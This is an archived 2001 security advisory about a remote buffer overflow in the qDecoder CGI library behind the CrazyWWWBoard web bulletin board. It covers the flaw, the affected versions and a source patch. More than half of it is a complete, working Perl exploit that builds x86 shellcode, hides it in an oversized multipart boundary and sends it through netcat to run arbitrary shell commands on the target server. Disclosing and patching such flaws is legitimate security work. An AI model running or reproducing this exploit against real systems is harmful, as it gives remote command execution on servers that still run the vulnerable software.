OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: You, Jin-Ho (jhyouCHONNAM.CHONNAM.AC.KR)
Date: Tue Jan 30 2001 - 02:21:49 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Nobreak Tecnologies CrazyWWWBoard Remote Buffer Overflow Vulnerability

    Jin Ho You, jhyouchonnam.chonnam.ac.kr

    1 Discussion

    CrazyWWWBoard(http://www.crazywwwboard.com) is a web bulletin board program
    written in C/C++. Insufficient boundary checking exists in the qDecoder CGI
    library code which handles multipart/form-data MIME entities. You can get
    qDecoder from http://www.qdecoder.org. The boundary delimeter over 254
    characters declared in the Content-Type header line overruns it's buffer,
    and allows remote buffer overflow attack.

    There are other CGI programs using the vulnerable qDecoder, such as CrazySearch.
    They have the string "_parse_multipart_data" in the excution program.

    2 Vulnerable and not vulnerable versions

    - Vulnerable

    CrazyWWWBoard version 2000px, 2000LEpx, 98, 98PE, 3.0.1
    CrazySearch 1.0.1
    CGIs using qDecoder 4.0 ~ 5.0.8

    - Not Vulnerable

    CrazyWWWBoard2000LEp5-1
        You can download bug-fixed Light Edition version from
        ftp://ftp.nobreak.com/pub/SOTNAL/CrazyWWWBoard2000LEp5-1/

    Recently distributed CrazyWWWBoard 2000 (SOTNAL v1.5.x) should be bug fixed.
    3 Bug and Fix

    Following codes in qDecoder.c of v4.0 ~ 5.0.8 shows the buffer overflow bug.
    sprintf() can make the buffer 'boundary' overflow. qDecoder of C++ version
    used in some CrazyWWW2000 series should have the same bug.

    int _parse_multipart_data(void) {
      ...
      char boundary[0xff], boundaryEOF[0xff];
      ...
      sprintf(boundary, "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));
      ...
    }

    Following patch forces boundary checking to fix the problem.
    If you have the source program of CrazyWWWBoard 3.0.1 or CrazyWWWBoard 98PE,
    the following patch is required.
    qDecoder library must be upgrade to 6.x version.

    --- qDecoder-4.0/qDecoder.c.orig Tue Nov 4 09:09:16 1997
    +++ qDecoder-4.0/qDecoder.c Thu Mar 30 20:08:29 2000
    -180,10 +180,17
       int c, c_count;^M
     ^M
       int finish;^M
    + int boundary_len;^M
     ^M
       entries = back = NULL;^M
     ^M
       /* find boundary string */^M
    +^M
    + /* force to check the boundary string length */^M
    + boundary_len = strlen(strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary"));^M
    + if (boundary_len >= sizeof(boundary) - strlen("\r\n----"))^M
    + qError("_parse_multipart_data() : the boundary string is too long!.");^M
    +^M
       sprintf(boundary, "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));^M
       /* This is not necessary but, I can not trust MS Explore */^M
       qRemoveSpace(boundary);^M

    4 Exploit

    ---- crazy.pl begin ------------>>> cut here <<<-------------------------------
    #!/usr/bin/perl
    # crazy.pl
    #
    # CrazyWWWBoard.cgi Remote Buffer Overflow Exploit for i386 Linux
    #
    # CGIs using qDecoder 4.0~5.0.8 are vulnerable to boundary delimeter
    # over 254 characters in the header "Content-Type: multipart/form-data".
    #
    # nc, the netcat program is required.
    #
    # Programmed by Jin Ho You, jhyouchonnam.chonnam.ac.kr, 03/26/2000

    $nc_path = "nc"; # path of netcat program

    $usage =
    "usage: crazy.pl [options] CGI-URL\n
      CGI-URL URL of the target CGI
      -c command Bourne shell command
                     Default: '/bin/echo 00ps, Crazy!'
      -o offset Offset of the egg shell code,
                     Recommended [-300,+300]

    example)
      crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
      crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
      crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
               target.com/cgi-bin/vulnerable.cgi

    ";

    require 'getopt.pl';
    Getopt('oc');

    if ($#ARGV < 0) {
        print $usage;
        exit(0);
    };

    $cgiurl = $ARGV[0];
    $command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!";
    $offset = $opt_o ? $opt_o : 0;

    $cgiurl =~ s/http:\/\///;
    ($host, $cgiuri) = split(/\//, $cgiurl, 2);
    ($host, $port) = split(/:/, $host);
    $port = 80 unless $port;
    $command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
    $cmdlen = length($command);
    $argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
    $shellcode =
      "\xeb\x37" # jmp 0x37
    . "\x5e" # popl %esi
    . "\x89\x76" . pack(C, $argvp) # movl %esi,0xb(%esi)
    . "\x89\xf0" # movl %esi,%eax
    . "\x83\xc0\x08" # addl $0x8,%eax
    . "\x89\x46" . pack(C, $argvp + 4) # movl %eax,0xb(%esi)
    . "\x89\xf0" # movl %esi,%eax
    . "\x83\xc0\x0b" # addl $0xb,%eax
    . "\x89\x46" . pack(C, $argvp + 8) # movl %eax,0xb(%esi)
    . "\x31\xc0" # xorl %eax,%eax
    . "\x88\x46\x07" # movb %eax,0x7(%esi)
    . "\x4e" # dec %esi
    . "\x88\x46\x0b" # movb %eax,0xb(%esi)
    . "\x46" # inc %esi
    . "\x88\x46" . pack(C, 0x0b + $cmdlen) # movb %eax,0xb(%esi)
    . "\x89\x46" . pack(C, $argvp + 12) # movl %eax,0xb(%esi)
    . "\xb0\x0b" # movb $0xb,%al
    . "\x89\xf3" # movl %esi,%ebx
    . "\x8d\x4e" . pack(C, $argvp) # leal 0xb(%esi),%ecx
    . "\x8d\x56" . pack(C, $argvp + 12) # leal 0xb(%esi),%edx
    . "\xcd\x80" # int 0x80
    . "\x31\xdb" # xorl %ebx,%ebx
    . "\x89\xd8" # movl %ebx,%eax
    . "\x40" # inc %eax
    . "\xcd\x80" # int 0x80
    . "\xe8\xc4\xff\xff\xff" # call -0x3c
    . "/bin/sh0-c0" # .string "/bin/sh0-c0"
    . $command;
    $offset -= length($command) / 2 + length($host . $port , $cgiurl);
    $shelladdr = 0xbffffbd0 + $offset;
    $noplen = 242 - length($shellcode);
    $jump = $shelladdr + $noplen / 2;
    $entries = $shelladdr + 250;
    $egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
            . pack(V, $entries) x 2 . pack(V, $jump) x 2;

    $content = substr($egg, 254) .
      "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
    $contentlength = length($content);

    printf STDERR "Jump to 0x%x\n", $jump;

    open(HTTP, "|$nc_path $host $port");
    select(HTTP); $|= 1;
    print HTTP <<__HEADER__;
    POST /$cgiuri HTTP/1.0
    Connection: Keep-Alive
    User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
    Host: $host:$port
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    Accept-Encoding: gzip
    Accept-Language: ko
    Accept-Charset: euc-kr,*,utf-8
    Content-type: multipart/form-data; boundary=$egg
    Content-length: $contentlength

    $content
    __HEADER__
    close(HTTP);
    ---- crazy.pl end ------------>>> cut here <<<-------------------------------